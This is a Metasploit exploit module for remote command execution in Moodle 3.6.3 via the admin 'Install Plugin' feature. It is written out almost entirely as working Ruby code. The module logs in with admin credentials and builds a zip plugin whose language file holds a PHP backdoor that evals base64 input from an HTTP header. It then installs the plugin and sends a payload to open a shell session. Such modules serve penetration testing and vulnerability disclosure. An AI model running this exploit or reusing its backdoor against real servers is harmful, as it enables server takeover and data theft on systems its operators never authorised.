Moodle 3.6.3 – ‘Install Plugin’ Remote Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => "Moodle 3.6.3 - 'Install Plugin' Remote Command Execution", 'Description' => %q( This module exploits a command execution vulnerability in Moodle 3.6.3. An attacker can upload malicious file using the plugin installation area. Plugins must be hosted accommodate "version.php" and "theme_{plugin name}.php" files. After routine check, the moodle will accept the appropriate plugin file. Plugin control can be bypassed and malicious code can be placed in the files contained in the plugin. The module receives a shell session from the server by placing malicious code in the language file. You must have an admin account to exploit this vulnerability. ), 'License' => MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus ], 'References' => [ ['URL', 'http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html'], ['URL', 'https://moodle.org'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], 'Privileged' => false, 'DisclosureDate' => "Apr 28 2019", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, "Base Moodle directory path", '/']), OptString.new('USERNAME', [true, "Admin username to authenticate with", 'admin']), OptString.new('PASSWORD', [false, "Admin password to authenticate with", 'admin']) ] ) end def create_plugin_file # There are syntax errors in creating zip file. So the payload was sent as base64. plugin_file = Rex::Zip::Archive.new @header = Rex::Text.rand_text_alpha_upper(4) @plugin_name = Rex::Text.rand_text_alpha_lower(7) path = "#{@plugin_name}/version.php" path2 = "#{@plugin_name}/lang/en/theme_#{@plugin_name}.php" # "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin. plugin_file.add_file(path, "<?php $plugin->version = 2018121704; $plugin->component = 'theme_#{@plugin_name}';") plugin_file.add_file(path2, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>") plugin_file.pack end def exec_code(cookie) handler # Base64 was encoded in "PHP". This process was sent as "HTTP headers". send_request_cgi({ 'method' => 'GET', 'cookie' => cookie, 'uri' => normalize_uri(target_uri.path, "theme", @plugin_name, "lang", "en", "theme_#{@plugin_name}.php"), 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" }) end def upload(cookie) # The beginning of the adventure o_O print_status("Plugin zip file is being created and loaded...") res = send_request_cgi( 'method' => 'GET', 'cookie' => cookie, 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php') ) @sesskey = res.body.split('"sesskey":"')[1].split('"')[0] # fetch session info @itemid = res.body.split('amp;itemid=')[1].split('&')[0] # fetch item for upload @author = res.body.split('title="View profile">')[1].split('<')[0] # fetch admin account profile info @clientid = res.body.split('client_id":"')[1].split('"')[0] # fetch client info # creating multipart data for the upload plugin file pdata = Rex::MIME::Message.new pdata.add_part(create_plugin_file, 'application/zip', nil, "form-data; name=\"repo_upload_file\"; filename=\"#{@plugin_name}.zip\"") pdata.add_part('', nil, nil, 'form-data; name="title"') pdata.add_part(@author, nil, nil, 'form-data; name="author"') pdata.add_part('allrightsreserved', nil, nil, 'form-data; name="license"') pdata.add_part(@itemid, nil, nil, 'form-data; name="itemid"') pdata.add_part('.zip', nil, nil, 'form-data; name="accepted_types[]"') pdata.add_part('4', nil, nil, 'form-data; name="repo_id"') pdata.add_part('', nil, nil, 'form-data; name="p"') pdata.add_part('', nil, nil, 'form-data; name="page"') pdata.add_part('filepicker', nil, nil, 'form-data; name="env"') pdata.add_part(@sesskey, nil, nil, 'form-data; name="sesskey"') pdata.add_part(@clientid, nil, nil, 'form-data; name="client_id"') pdata.add_part('-1', nil, nil, 'form-data; name="maxbytes"') pdata.add_part('-1', nil, nil, 'form-data; name="areamaxbytes"') pdata.add_part('1', nil, nil, 'form-data; name="ctx_id"') pdata.add_part('/', nil, nil, 'form-data; name="savepath"') data = pdata.to_s res = send_request_cgi({ 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{pdata.bound}", 'cookie' => cookie, 'uri' => normalize_uri(target_uri.path, 'repository', 'repository_ajax.php?action=upload') }) if res.body =~ /draftfile.php/ print_good("Plugin #{@plugin_name}.zip file successfully uploaded to target!") print_status("Attempting to integrate the plugin...") @zipfile = res.body.split('draft\/')[1].split('\/')[0] plugin_integration(cookie) else fail_with(Failure::NoAccess, "Something went wrong!") end end def plugin_integration(cookie) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'), 'cookie' => cookie, 'vars_post' => { 'sesskey' => @sesskey, '_qf__tool_installaddon_installfromzip_form' => '1', 'mform_showmore_id_general' => '0', 'mform_isexpanded_id_general' => '1', 'zipfile' => @zipfile, 'plugintype' => 'theme', 'rootdir' => '', 'submitbutton' => 'Install+plugin+from+the+ZIP+file' } ) if res.body =~ /installzipstorage/ print_good("Plugin successfully integrated!") storage = res.body.split('installzipstorage=')[1].split('&')[0] res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'), 'cookie' => cookie, 'vars_post' => { 'installzipcomponent' => "theme_#{@plugin_name}", 'installzipstorage' => storage, 'installzipconfirm' => '1', 'sesskey' => @sesskey } ) exec_code(cookie) else fail_with(Failure::NoAccess, "Something went wrong!") end end def login(uname, pass) # 1st request to get MoodleSession and LoginToken res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login', 'index.php') ) cookie = res.get_cookies token = res.body.split('logintoken" value="')[1].split('"')[0] # 2nd request to login validation res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login', 'index.php'), 'cookie' => cookie, 'vars_post' => { 'anchor' => '', 'logintoken' => token, 'username' => uname, 'password' => pass } ) cookie = res.get_cookies location = res.redirection.to_s if res and res.code = 303 && location.include?('testsession') return cookie end fail_with(Failure::NoAccess, "Authentication was unsuccessful with user: #{uname}") return nil end def check # Basic check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'lib', 'upgrade.txt') ) if res && res.code == 200 && res.body =~ /=== 3.7/ return Exploit::CheckCode::Safe else return Exploit::CheckCode::Appears end end def exploit cookie = login(datastore['USERNAME'], datastore['PASSWORD']) print_good("Authentication was successful with user: #{datastore['USERNAME']}") upload(cookie) # start the adventure end ## # The end of the adventure (o_O) // AkkuS ## end |